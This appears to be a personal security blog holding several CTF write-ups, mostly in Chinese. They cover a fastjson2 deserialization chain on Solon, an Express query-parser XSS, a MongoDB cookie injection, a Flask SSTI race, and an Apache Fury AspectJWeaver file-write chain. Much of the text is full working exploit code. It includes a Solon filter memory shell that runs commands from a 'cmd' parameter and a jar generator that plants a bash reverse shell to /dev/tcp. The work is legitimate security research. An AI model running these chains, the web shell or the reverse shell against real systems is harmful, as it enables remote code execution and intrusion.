p0l1st's blog

L3HCTF2025 TellMeWhy

p0l1st@venomsec.org (p0l1st) — Mon, 04 May 2026 14:05:53 +0800

使用了solon框架，存在fastjson2依赖

并且/baby/why路由可以反序列化

存在反序列化黑名单

javax.management.BadAttributeValueExpException
javax.swing.event.EventListenerList
javax.swing.UIDefaults$TextAndMnemonicHashMap

目的是想要过滤可以触发JsonArray.toString的链子，常见的可以触发toString方法的链子如下：

XString

Hashmap#readobject --> 
 XString#equals --> 
 JSONArray.toString

HotSwappableTargetSource

HashMap#readObject -> 
 HotSwappableTargetSource#equals -> 
 XString#equals -> 
 JSONArray.toString

BadAttributeValueExpException

BadAttributeValueExpException#readObject --> 
 JSONArray#toString

EventListenerList

EventListenerList#readobject --> 
 UndoManager#toString -->
 Vector#toString -->
 JSONArray#toString

TextAndMnemonicHashMap

hashmap#readObject-->
 HashMap#putVal-->
 AbstractMap#equals-->
 TextAndMnemonicHashMap#get-->
 JSONArray#toString

那么在这里我们可以利用XString去触发JsonArray.toString 或者可以用tabby去跑一下

fastjson2原生反序列化

fastjson2.0.26之前有一条原生反序列化链

通过调用JSONArray类的toString方法时，可遍历调用其元素的任意公开getter方法，从而触发TemplatesImpl#getOutputProperties，最终加载任意恶意字节码来rce

我们把这里的BadAttributeValueExpException替换为XString

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Test {
 public static void main(String[] args) throws Exception{
 ClassPool pool = ClassPool.getDefault();
 CtClass clazz = pool.makeClass("a");
 CtClass superClass = pool.get(AbstractTranslet.class.getName());
 clazz.setSuperclass(superClass);
 CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
 constructor.setBody("Runtime.getRuntime().exec(\"open -a Calculator\");");
 clazz.addConstructor(constructor);

 byte[][] bytes = new byte[][]{clazz.toBytecode()};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", bytes);
 setValue(templates, "_name", "p0l1st");
 setValue(templates, "_tfactory", null);


 JSONArray jsonArray = new JSONArray();
 jsonArray.add(templates);
 
 XString xs = new XString("\n");

 HashMap hashMap = new HashMap<>();
 HashMap hashMap2 = new HashMap<>();
 hashMap.put("yy",jsonArray);
 hashMap.put("zZ", xs);
 hashMap2.put("yy",xs);
 hashMap2.put("zZ",jsonArray);
 Object obj = makeMap(hashMap, hashMap2);
 //序列化
 ByteArrayOutputStream barr = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
 objectOutputStream.writeObject(obj);

 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
 Object o = (Object)ois.readObject();
 }
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static HashMap makeMap(Object v1, Object v2) throws Exception {
 HashMap s = new HashMap();
 setValue(s, "size", 2);
 Class nodeC;
 try {
 nodeC = Class.forName("java.util.HashMap$Node");
 } catch (ClassNotFoundException e) {
 nodeC = Class.forName("java.util.HashMap$Entry");
 }
 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
 nodeCons.setAccessible(true);

 Object tbl = Array.newInstance(nodeC, 2);
 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
 setValue(s, "table", tbl);
 return s;
 }
}

这样看起来好像我们已经成功绕过了黑名单，但是当前使用的fastjson2版本是2.0.26，而题目使用版本是2.0.57

在这个版本中TemplatesImpl已经被加入黑名单，所以我们不能通过触发getter去直接调用了

常见打法是通过动态代理来绕过

动态代理绕高版本fastjson

参考：https://mp.weixin.qq.com/s/gl8lCAZq-8lMsMZ3_uWL2Q

理论上的方法应该是

用ObjectFactoryDelegatingInvocationHandler代理Templates接口，被调用getOutputProperties方法
用JSONObject代理ObjectFactoryDelegatingInvocationHandler中的objectFactory属性，返回teamplatesImpl

但是当前框架是solon，不存在spring相关依赖

出题人给了MyProxy这个类，有一个invoke方法，其实是和ObjectFactoryDelegatingInvocationHandler#invoke一样的

Exp

根据上面思路构造exp

import com.sun.org.apache.xpath.internal.objects.XString;
import gadgets.*;
import org.example.demo.Utils.MyObject;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ExpFinal {
 public static void main(String[] args) throws Exception {
 Object object = new ExpFinal().getObject("open -a Calculator");
 byte[] ser = serialize(object);
 String base64ser = Base64.getEncoder().encodeToString(ser);
 System.out.println(base64ser);
 runGadgets(object);

 }
 public Object getObject (String cmd) throws Exception {

 Object node1 = TemplatesImplNode.makeGadget(cmd);
 Map map = new HashMap();
 map.put("object",node1);
 Object node2 = JSONObjectNode.makeGadget(2,map);

 Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
 new Class[]{MyObject.class}, (InvocationHandler)node2);
 Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
 Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
 new Class[]{Templates.class}, (InvocationHandler)node3);

 Object node4 = JsonArrayNode.makeGadget(2,proxy2);

 XString xs = new XString("\n");
 HashMap hashMap = new HashMap<>();
 HashMap hashMap2 = new HashMap<>();
 hashMap.put("yy",node4);
 hashMap.put("zZ", xs);
 hashMap2.put("yy",xs);
 hashMap2.put("zZ",node4);

 Object obj = makeMap(hashMap, hashMap2);
// Object node5 = BadAttrValExeNode.makeGadget(node4);
// Object[] array = new Object[]{node1,obj};
// Object node6 = HashMapNode.makeGadget(array);
 return obj;
 }

 public static HashMap makeMap(Object v1, Object v2) throws Exception {
 HashMap s = new HashMap();
 setValue(s, "size", 2);
 Class nodeC;
 try {
 nodeC = Class.forName("java.util.HashMap$Node");
 } catch (ClassNotFoundException e) {
 nodeC = Class.forName("java.util.HashMap$Entry");
 }
 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
 nodeCons.setAccessible(true);

 Object tbl = Array.newInstance(nodeC, 2);
 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
 setValue(s, "table", tbl);
 return s;
 }
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static void runGadgets(Object obj)throws Exception{
 byte[] ser = serialize(obj);
 deserialize(ser);
 }

 public static byte[] serialize(final Object obj) throws IOException {
 System.out.println("serialize obj: "+ obj.getClass().getName());
 final ByteArrayOutputStream out = new ByteArrayOutputStream();
 final ObjectOutputStream objOut = new ObjectOutputStream(out);
 objOut.writeObject(obj);
 return out.toByteArray();
 }

 public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
 System.out.println("deserialize obj");
 final ByteArrayInputStream in = new ByteArrayInputStream(ser);
 final ObjectInputStream objIn = new ObjectInputStream(in);
 return objIn.readObject();
 }

}

还有一个问题，在反序列化之前对传入的json数量进行对比，solon框架解析到的map和fastjson2解析到的length需要不一致并且传入的json需包含“why”

这个就涉及到两者的解析特性，fastjson2和1一样都支持@type，而solon是无法解析的，可以利用这一点构造pyaload

{"@type": "java.util.HashMap","why":"base64 payload"}

同时需要绕过过滤器

同时由于远程环境不出网，还需要打solon内存马

参考：https://aecous.github.io/2025/03/12/Solon%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90/#Filter%E5%86%85%E5%AD%98%E9%A9%AC

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;
import org.noear.solon.core.handle.FilterChain;

public class FilterShell extends AbstractTranslet implements Filter {
 static {
 try {
 Solon.app().chainManager().addFilter(new FilterShell(),0);
 } catch (Exception e) {
 e.printStackTrace();
 }
 }

 @Override
 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

 }

 @Override
 public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

 }


 @Override
 public void doFilter(Context ctx, FilterChain chain) throws Throwable {
 try{
 if(ctx.param("cmd")!=null){
 String str = ctx.param("cmd");
 try{
 String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/bash", "-c", str};
 String output = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next();
 ctx.output(output);
 }catch (Exception e) {
 e.printStackTrace();
 }
 }
 }catch (Throwable e){
 System.out.println("异常："+e.getMessage()) ;
 }
 chain.doFilter(ctx);
 }
}

最终exp

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import common.ClassFiles;
import gadgets.*;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;
import org.example.demo.Utils.MyObject;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ExpFinal {
 public static void main(String[] args) throws Exception {
 Object object = new ExpFinal().getObject("open -a Calculator");
 byte[] ser = serialize(object);
 String base64ser = Base64.getEncoder().encodeToString(ser);
 System.out.println(base64ser);
// runGadgets(object);

 }
 public Object getObject (String cmd) throws Exception {

// Object node1 = TemplatesImplNode.makeGadget(cmd);

 byte[] bytes = Repository.lookupClass(FilterShell.class).getBytes();
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setValue(templates, "_bytecodes", new byte[][]{bytes});
 setValue(templates, "_name", "1");
 setValue(templates, "_tfactory", null);

 Object node1 = templates;


 Map map = new HashMap();
 map.put("object",node1);
 Object node2 = JSONObjectNode.makeGadget(2,map);

 Proxy proxy1 = (Proxy) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),
 new Class[]{MyObject.class}, (InvocationHandler)node2);
 Object node3 = ObjectFactoryDelegatingInvocationHandlerNode.makeGadget(proxy1);
 Proxy proxy2 = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
 new Class[]{Templates.class}, (InvocationHandler)node3);

 Object node4 = JsonArrayNode.makeGadget(2,proxy2);

 XString xs = new XString("\n");
 HashMap hashMap = new HashMap<>();
 HashMap hashMap2 = new HashMap<>();
 hashMap.put("yy",node4);
 hashMap.put("zZ", xs);
 hashMap2.put("yy",xs);
 hashMap2.put("zZ",node4);

 Object obj = makeMap(hashMap, hashMap2);
// Object node5 = BadAttrValExeNode.makeGadget(node4);
// Object[] array = new Object[]{node1,obj};
// Object node6 = HashMapNode.makeGadget(array);
 return obj;
 }

 public static HashMap makeMap(Object v1, Object v2) throws Exception {
 HashMap s = new HashMap();
 setValue(s, "size", 2);
 Class nodeC;
 try {
 nodeC = Class.forName("java.util.HashMap$Node");
 } catch (ClassNotFoundException e) {
 nodeC = Class.forName("java.util.HashMap$Entry");
 }
 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
 nodeCons.setAccessible(true);

 Object tbl = Array.newInstance(nodeC, 2);
 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
 Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
 setValue(s, "table", tbl);
 return s;
 }
 public static void setValue(Object obj, String name, Object value) throws Exception{
 Field field = obj.getClass().getDeclaredField(name);
 field.setAccessible(true);
 field.set(obj, value);
 }
 public static void runGadgets(Object obj)throws Exception{
 byte[] ser = serialize(obj);
 deserialize(ser);
 }

 public static byte[] serialize(final Object obj) throws IOException {
 System.out.println("serialize obj: "+ obj.getClass().getName());
 final ByteArrayOutputStream out = new ByteArrayOutputStream();
 final ObjectOutputStream objOut = new ObjectOutputStream(out);
 objOut.writeObject(obj);
 return out.toByteArray();
 }

 public static Object deserialize(byte[] ser) throws IOException, ClassNotFoundException {
 System.out.println("deserialize obj");
 final ByteArrayInputStream in = new ByteArrayInputStream(ser);
 final ObjectInputStream objIn = new ObjectInputStream(in);
 return objIn.readObject();
 }


}

注入内存马

Express应⽤预处理特性绕过服务端校验实现XSS

p0l1st@venomsec.org (p0l1st) — Tue, 03 Mar 2026 20:25:51 +0000

前言

之前推特上的一道题，题目环境：https://pwnbox.xyz/

核心原理就是Express框架中qs库对查询字符串进行预处理时与浏览器原生的URLSearchParams之间存在的解析差异，通过这种差异来绕过服务端的严格校验从而在客户端触发XSS

题目分析

代码如下

const express = require('express');
const app = express();
app.set('query parser', 'extended');

app.get('/', (req, res) => {
 const redirectUri = req.query.redirect_uri;
 if (!redirectUri) {
 return res.send("redirect_uri is required");
 }
 if (redirectUri !== "https://pwnbox.xyz/docs") {
 return res.send("Invalid redirect_uri");
 }
 return res.send(`
 <script>
 var uri = new URLSearchParams(window.location.search).get("redirect_uri");
 location = uri;
 </script>
 `);
});

从请求中提取redirect_uri参数，然后判断该参数是否为空，如果不为空则判断是否等于https://pwnbox.xyz/docs，最后返回一段包含<script>标签的页面

在这个<script>标签里面，使用浏览器原生的URLSearchParams从window.location.search中提取redirect_uri参数，然后赋值给location触发页面跳转

而这里uri的值是可控的，如果url是javascript:alert(1)这样的javascript协议地址就可以直接进行xss，但是上面是有严格校验的，要求redirect_uri必须是https://pwnbox.xyz/docs

漏洞的突破口就在于客户端和服务端使用了两套不同的查询字符串解析器

解析差异

Express的extended模式

首先来看

app.set('query parser', 'extended');

Express的extended模式意味着使用qs模式来查询字符串

跟进Express的源码(express/lib/utils.js)

function parseExtendedQueryString(str) {
 return qs.parse(str, {
 allowPrototypes: true
 });
}

这里有两个关键点：使用了qs库，并且传入了allowPrototypes: true选项

qs 库的预处理机制

跟进qs库lib/parse.js的parseValues函数

这段代码在分割和解析字符串之前先对整个字符串进行了一次替换，将%5B替换成[，%5D替换成]

然后qs在解析每一段参数时还有一个特殊的key/value分割逻辑

也就是说qs在确定=的分割位置时会优先寻找]=的位置，如果找到了]=就用]=中的=作为key/value的分割点

举个例子，如果传入参数是a]=b，那么key就是a]，value就是b

URLSearchParams的行为

浏览器原生的URLSearchParams不做任何预处理，直接按&分割参数，根据第一个=分割key和value

差异总结

key师傅的总结表：

特性	qs(服务端)	URLSearchParams(客户端)
预处理	%5B->[ , %5D->]	无
key/value分割	优先找]=，否则找第一个=	始终用第一个=
bracket语法	a[b]=c → {a: {b: “c”}}	a[b]是独立的参数名

漏洞利用

构造payload

根据qs的%5D -> ]预处理以及 ]= 优先分割，可以构造

redirect_uri=javascript:alert(document.cookie)//%5D=x&redirect_uri=https://pwnbox.xyz/docs

解析流程

先看服务端的解析流程

qs解析时，先对整个查询字符串做%5D -> ]预处理，那么payload就变成

redirect_uri=javascript:alert(document.cookie)//]=x&redirect_uri=https://pwnbox.xyz/docs

然后按照&分割成两端

第一段：

redirect_uri=javascript:alert(document.cookie)//]=x

qs在这里面搜索]=，找到了//]=x中的]=，然后就以]=中的=作为分割点，那么：

key=redirect_uri=javascript:alert(document.cookie)//]

value=x

但是key不是redirect_uri，所以并不会设置redirect_uri的值

第二段：

redirect_uri=https://pwnbox.xyz/docs

key=redirect_uri

value=https://pwnbox.xyz/docs

满足redirect_uri的值为https://pwnbox.xyz/docs，所以服务端的校验通过，页面返回包含<script>标签的html

然后是客户端的解析流程

浏览器中的URLSearchParams不做%5D预处理直接按照第一个=进行分割

第一段

redirect_uri=javascript:alert(document.cookie)//%5D=x

第一个=在redirect_uri=处，所以

key=redirect_uri

value=javascript:alert(document.cookie)//]=x

第二段

redirect_uri=https://pwnbox.xyz/docs

key=redirect_uri

value=https://pwnbox.xyz/docs

但是URLSearchParams.get()只会返回第一个匹配的值，即javascript:alert(document.cookie)//]=x

所以客户端最终执行的是

location = "javascript:alert(document.cookie)//]=x";

javascript协议会把冒号后面的内容当作JavaScript代码执行，而且//在JS中是行注释符，]=x最终会被注释，实际执行的JS代码其实是alert(document.cookie)，可以成功触发XSS

阿里CTF 2026部分复现

p0l1st@venomsec.org (p0l1st) — Fri, 27 Feb 2026 17:15:29 +0000

懒得写详细了

const session = await sessionsCollection.findOne({ sid });

存在NoSQL注入

那么先通过visit访问http://127.0.0.1:3000/，bot则会登录admin在Mongo数据库中生成admin的session

然后通过构造Cookie: sid=j:{"$ne":null} 然后再访问/admin即可

import requests
import json


BASE = "http://223.6.249.127:13173"
TIMEOUT = 15

def exploit():
 # 1. 触发 /visit 让服务器生成 session
 try:
 requests.post(
 BASE + "/visit",
 json={"url": "http://127.0.0.1:3000/"},
 timeout=TIMEOUT
 )
 except:
 pass

 # 2. 构造 sid = j:{"$ne": null}
 mongo_op = "$ne"
 evil_cookie = "j:" + json.dumps({mongo_op: None})

 print("[+] 使用恶意 sid:", evil_cookie)

 r = requests.get(
 BASE + "/admin",
 headers={"Cookie": "sid=" + evil_cookie},
 timeout=TIMEOUT
 )

 print("\n[+] /admin 返回内容：")
 print(r.text)


if __name__ == "__main__":
 exploit()

Cutter

源码如下

from flask import Flask, request, render_template, render_template_string
from io import BytesIO
import os
import json
import httpx

app = Flask(__name__)

API_KEY = os.urandom(32).hex()
HOST = '127.0.0.1:5000'

@app.route('/admin', methods=['GET'])
def admin():
 token = request.headers.get("Authorization", "")
 if token != API_KEY:
 return 'unauth', 403

 tmpl = request.values.get('tmpl', 'index.html')
 tmpl_path = os.path.join('./templates', tmpl)

 if not os.path.exists(tmpl_path):
 return 'Not Found', 404

 tmpl_content = open(tmpl_path, 'r').read()
 return render_template_string(tmpl_content), 200

@app.route('/action', methods=['POST'])
def action():
 ip = request.remote_addr
 if ip != '127.0.0.1':
 return 'only localhost', 403

 token = request.headers.get("X-Token", "")
 if token != API_KEY:
 return 'unauth', 403
 
 file = request.files.get('content')
 content = file.stream.read().decode()

 action = request.files.get("action")
 act = json.loads(action.stream.read().decode())

 if act["type"] == "echo":
 return content, 200
 elif act["type"] == "debug":
 return content.format(app), 200
 else:
 return 'unkown action', 400

@app.route('/heartbeat', methods=['GET', 'POST'])
def heartbeat():
 text = request.values.get('text', "default")
 client = request.values.get('client', "default")
 token = request.values.get('token', "")

 if len(text) > 300:
 return "text too large", 400

 action = json.dumps({"type" : "echo"})

 form_data = {
 'content': ('content', BytesIO(text.encode()), 'text/plain'),
 'action' : ('action', BytesIO(action.encode()), 'text/json')
 }

 headers = {
 "X-Token" : API_KEY,
 }
 headers[client] = token

 response = httpx.post(f"http://{HOST}/action", headers=headers, files=form_data, timeout=10.0)
 if response.status_code == 200:
 return response.text, 200
 else:
 return f'action failed', 500

@app.route('/', methods=['GET'])
def index():
 return render_template('index.html')

if __name__ == '__main__':
 app.run(debug=False, host='0.0.0.0', port=5000)

首先是admin路由存在任意文件读取或SSTI(文件内容可控的前提下)

但是需要API_KEY，而API_KEY又是随机生成的

往下看，action路由在debug模式下存在格式化字符串漏洞，可以泄露出全局变量中的API_KEY

而action路由可以通过heartbeat路由来访问

这里默认硬编码了type为echo模式，但是headers可控，我们可以通过注入Content-Type头部来劫持数据包，设置client=Content-Type 和 token=multipart/form-data; boundary=123，然后设置text的值为{"type":"debug"}

这样通过heartbeat请求action的时候会优先使用我们注入的123这部分作为Boundary，然后后端从text中读取action的值覆盖掉上面硬编码的echo模式

import requests

url = "http://223.6.249.127:18270"


def key():
 payload = "{0.view_functions[index].__globals__[API_KEY]}"
 
 BOUNDARY = "p0l1st"
 multipart_data = (
 f"{payload}\r\n"
 f"--{BOUNDARY}\r\n"
 'Content-Disposition: form-data; name="action"; filename="p0l1st.json"\r\n\r\n'
 '{"type": "debug"}\r\n'
 f"--{BOUNDARY}--\r\n"
 )
 
 data = {
 "client": "content-type", 
 "token": f"multipart/form-data; boundary={BOUNDARY}",
 "text": multipart_data
 }
 
 r = requests.post(url+"/heartbeat",data=data)
 print(r.text)


key()

现在就可以任意文件读取了，但是问题是我们不知道flag叫什么

在 Linux 中，/proc/self/fd/ 是当前进程“已打开文件”的快捷入口，一切皆文件：普通文件、Socket、管道都算。通常 FD 0/1/2 是标准输入、输出、错误；FD 3 往往是服务监听用的 Socket；而 FD 4–10 多半是当前请求相关的资源，比如 wsgi.input（HTTP 请求体的输入流）或请求体过大时生成的临时缓存文件。通过这些 FD，进程可以在不重新打开路径的情况下直接读写对应资源。

那么我们可以构造一个比较大的请求体，里面有我们的SSTI Payload，这样的话fd某个值就会包含这个payload，再通过读这个fd的内容来通过SSTI进行rce，这个发包并读取的过程需要条件竞争

官方exp

import requests
import threading
from io import BytesIO

url = 'http://223.6.249.127:18270'

STOP_SIGNAL = True
STOP_MAIN = True

def get_key():
 boundary = "asdasdasd"
 # 覆盖 action 字段
 text = f'''
{{0.__class__.__init__.__globals__[sys].modules[__main__].API_KEY}}
--{boundary}
Content-Disposition: form-data; name="action"; filename="action"
Content-Type: application/json

{{"type":"debug"}}
--{boundary}--
'''.strip()
 header = "Content-Type"

 data = {
 "client" : header,
 "token" : f"multipart/form-data; boundary={boundary}",
 "text" : text
 }
 res = requests.post(url=url + '/heartbeat', data=data)
 return res.text.strip()

def send(command : str):
 # 发送大文件
 size = 500 * 1024 + 1
 payload = b"<start>" + b" "*size + b"<end>" + b"{{url_for.__globals__['os'].popen('" + command.encode() + b"').read()}}"
 files = {
 "payload" : ("payload", BytesIO(payload), "text/plain")
 }
 requests.post(url=url + '/heartbeat', files=files)

def render(key : str):
 global STOP_SIGNAL
 global STOP_MAIN
 while STOP_SIGNAL:
 try:
 res = requests.get(url=url + '/admin', params={
 "tmpl" : "/proc/self/fd/5"
 }, headers={
 "Authorization" : key
 })
 if "<end>" in res.text:
 print('\n' + res.text.split('<end>')[1].strip())
 STOP_SIGNAL = False
 STOP_MAIN = False
 except:
 pass

if __name__ == '__main__':
 command = "cat /flag*"

 API_KEY = get_key()
 print(f"API_KEY : {API_KEY}")

 total = 0
 while STOP_MAIN:
 try:
 STOP_SIGNAL = True
 total = total + 1
 print(f"第{str(total)}次尝试", end='\r')

 t = threading.Thread(target=render, args=(API_KEY, ))
 t.start()

 send(command)
 except KeyboardInterrupt as e:
 break
 except:
 pass
 finally:
 STOP_SIGNAL = False
 t.join()

Fileury

com.app.UndertowRoutingServer存在Apache Fury反序列化

byte[] decoded = Base64.getDecoder().decode(v.getValue());
decodedStr = new String(decoded, StandardCharsets.UTF_8);
Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
//允许不预先注册类的情况下进行反序列化
fury.deserialize(decoded);

并且在furry/disallowed.txt存在反序列化黑名单，反序列化时会检查类是否在黑名单中

(黑名单太长就不贴了)

从依赖中可以发现存在AspectJWeaver依赖和CC依赖，并且以下类是不在黑名单中的

org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.keyvalue.TiedMapEntry
org.apache.commons.collections.comparators.TransformingComparator
org.apache.commons.collections.functors.ConstantFactory
org.apache.commons.collections.functors.StringValueTransformer

正好yso中的AspectJWeaver写文件链子同时也需要cc依赖，参考 Servlet中的时间竞争及AspectJWeaver反序列化Gadget构造[non-RCE 题解]

HashSet.readObject()
 HashMap.put()
 HashMap.hash()
 TiedMapEntry.hashCode()
 TiedMapEntry.getValue()
 LazyMap.get()
 SimpleCache$StorableCachingMap.put()
 SimpleCache$StorableCachingMap.writeToPath()
 FileOutputStream.write()

我们可以使用这条链子来任意写文件

import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.StringValueTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;
import java.util.PriorityQueue;

public class AspectJWeaverExp {

 public static void main(String[] args) throws Exception {
 // Goal: Arbitrary File Write
 // Chain:
 // PriorityQueue.readObject() -> heapify() -> comparator.compare()
 // comparator = TransformingComparator(StringValueTransformer)
 // transformer.transform(TiedMapEntry) -> TiedMapEntry.toString()
 // TiedMapEntry.toString() -> getValue() -> map.get(key)
 // map = LazyMap(StoreableCachingMap, ConstantFactory(bytes))
 // LazyMap.get(key) -> factory.create(key) -> bytes
 // LazyMap.put(key, bytes) -> StoreableCachingMap.put(key, bytes) -> write bytes to file 'key'
 byte[] content = Files.readAllBytes(Paths.get("E:\\CTF_Challenge\\阿里CTF 2026\\Fileury\\FileuryExp\\ascii01_3.jar"));

 String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar";
// byte[] content = cronPayload.getBytes();

 // 1. Setup StoreableCachingMap (The Inner Map)
 // Ensure access to the class
 Class<?> scMapClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
 Constructor<?> constructor = scMapClass.getDeclaredConstructor(String.class, int.class);
 constructor.setAccessible(true);
 // folder = ".", maxEntries = 100
 Map storeableMap = (Map) constructor.newInstance(".", 100);

 // 2. Setup LazyMap with ConstantFactory
 ConstantFactory factory = new ConstantFactory(content);
 Map lazyMap = LazyMap.decorate(storeableMap, factory);

 // 3. Setup TiedMapEntry
 TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

 // 4. Setup Comparator and Transformer
 // StringValueTransformer calls String.valueOf(obj) which calls obj.toString() (if not null)
 org.apache.commons.collections.Transformer transformer = StringValueTransformer.getInstance();
 TransformingComparator comparator = new TransformingComparator(transformer);

 // 5. Setup PriorityQueue
 PriorityQueue queue = new PriorityQueue(2, comparator);

 Field sizeField = PriorityQueue.class.getDeclaredField("size");
 sizeField.setAccessible(true);
 sizeField.set(queue, 2);

 Field queueField = PriorityQueue.class.getDeclaredField("queue");
 queueField.setAccessible(true);
 Object[] queueArray = new Object[2];
 queueArray[0] = entry;
 queueArray[1] = entry;
 queueField.set(queue, queueArray);

 // 6. Serialize with Fury
 System.out.println("Serializing AspectJ Chain with Fury...");
 Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
 byte[] serializedInfo = fury.serialize(queue);


 String b64 = Base64.getEncoder().encodeToString(serializedInfo);
 FileOutputStream fos = new FileOutputStream("payload_aj.b64");
 fos.write(b64.getBytes());
 fos.close();
 System.out.println("AspectJ Payload saved to payload_aj.b64");
 System.out.println("Payload Base64: " + b64);
 
 }
}

至于为什么写dnsns.jar，参考Fastjson write ascii JAR RCE

当使用-verbose:class参数时，可以监控类的加载情况

在这里dnsns.jar仍然未被加载，所以直接覆盖dnsns.jar

其实只要是未加载的jar包就行

生成jar包的脚本,具体参考https://github.com/c0ny1/ascii-jar

#!/usr/bin/env python

import time
import os
from compress import *

allow_bytes = []
disallowed_bytes = [38, 60, 39, 62, 34, 40, 41]
for b in range(0, 128):
 if b in disallowed_bytes:
 continue
 allow_bytes.append(b)

if __name__ == '__main__':
 padding_char = 'U'
 raw_filename = 'DNSNameServiceDescriptor.class'
 zip_entity_filename = 'sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class'
 jar_filename = 'ascii01_3.jar'
 num = 1
 while True:
 javaCode = """
package sun.net.spi.nameservice.dns;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;

import java.io.IOException;

public final class DNSNameServiceDescriptor extends Exception implements NameServiceDescriptor {
 private static final String paddingData = "{PADDING_DATA}";
 public DNSNameServiceDescriptor() {
 try {
 String[] cmd = new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/ip/9000 0>&1"};
 Runtime.getRuntime().exec(cmd);
 } catch (IOException e) {
 e.printStackTrace();
 }
 }

 public NameService createNameService() throws Exception {
 return null;
 }

 public String getProviderName() {
 return "sun";
 }

 public String getType() {
 return "dns";
 }
}
 """
 padding_data = padding_char * num
 javaCode = javaCode.replace("{PADDING_DATA}", padding_data)

 f = open('DNSNameServiceDescriptor.java', 'w')
 f.write(javaCode)
 f.close()
 time.sleep(0.1)

 os.system("D:\\JavaEnviron\\jdk1.8.0_65\\bin\\javac.exe -nowarn -g:none -source 1.8 -target 1.8 -cp jasper.jar DNSNameServiceDescriptor.java")

 raw_data = bytearray(open(raw_filename, 'rb').read())
 compressor = ASCIICompressor(bytearray(allow_bytes))
 compressed_data = compressor.compress(raw_data)[0]
 crc = zlib.crc32(raw_data) % pow(2, 32)

 st_crc = struct.pack('<L', crc)
 st_raw_data = struct.pack('<L', len(raw_data) % pow(2, 32))
 st_compressed_data = struct.pack('<L', len(compressed_data) % pow(2, 32))
